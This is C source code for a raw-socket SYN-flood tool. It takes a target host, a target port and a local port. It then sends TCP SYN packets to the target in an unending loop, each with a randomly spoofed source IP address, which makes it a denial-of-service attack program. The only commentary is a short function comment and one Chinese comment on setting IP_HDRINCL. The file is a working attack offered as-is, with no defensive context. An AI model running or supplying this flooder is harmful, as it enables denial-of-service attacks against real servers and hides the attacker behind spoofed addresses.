#include <string.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

unsigned short check_sum(unsigned short *addr, int len)
{
    register int nleft = len;
    register int sum = 0;
    register short *w = addr;
    short answer = 0;
    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }
    if (nleft == 1) {
        *(unsigned char *)(&answer) = *(unsigned char *)w;
        sum += answer;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return answer;
}

/**
 *  send_data - send data to host
 *  @addr des addr
 *  @port src port
 * */
void send_data(int sockfd, struct sockaddr_in *addr, char *port)
{
    char buffer[128];
    struct iphdr *ip;
    struct tcphdr *tcp;
    int head_len = sizeof(*ip) + sizeof(*tcp);
    bzero(buffer, 128);

    /*fill info*/
    ip = (struct iphdr*)buffer;
    ip->ihl = sizeof(struct ip) >> 2;
    ip->version = IPVERSION;
    ip->tos = 0;
    ip->tot_len = htons(head_len);
    ip->id = 0;
    ip->frag_off = 0;
    ip->ttl = MAXTTL;
    ip->protocol = IPPROTO_TCP;
    ip->check = 0;
    ip->daddr = addr->sin_addr.s_addr;

    tcp = (struct tcphdr *)(buffer + sizeof(struct iphdr));
    tcp->source = htons(atoi(port));
    tcp->dest = addr->sin_port;
    tcp->seq = random();
    tcp->ack_seq = 0;
    tcp->doff = 5;
    tcp->syn = 1;

    while (1) {
        ip->saddr = random();
        tcp->check = check_sum((unsigned short*)tcp, 
                sizeof(struct tcphdr));
       sendto(sockfd, buffer, head_len, 0, (struct sockaddr*)addr, 
               (socklen_t)sizeof(struct sockaddr_in));
//       sleep(1);
    }
}

int main(int argc, char **argv)
{
    int sockfd;
    struct sockaddr_in addr;
    struct hostent *host;
    int on = 1;
    if (argc != 4) {
        fprintf(stderr, "Usage:%s des_hostname/ip des_port local_port\n", argv[0]);
        exit(-1);
    }

    memset(&addr, 0x00, sizeof(addr));
    addr.sin_family = AF_INET;
    if (inet_aton(argv[1], &addr.sin_addr) == 0) {
        host = gethostbyname(argv[1]);
        if (!host) {
            fprintf(stderr, "Host name error\n");
            exit(-1);
        }
        addr.sin_addr = * (struct in_addr *)(host->h_addr);
    }
    addr.sin_port = htons(atoi(argv[2]));

    sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if (sockfd < 0) {
        fprintf(stderr, "socket failed\n");
        exit(-1);
    }
    setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));    //设置SOCKET属性为自己创建到IP头
    send_data(sockfd, &addr, argv[3]);
    
    return 0;
}
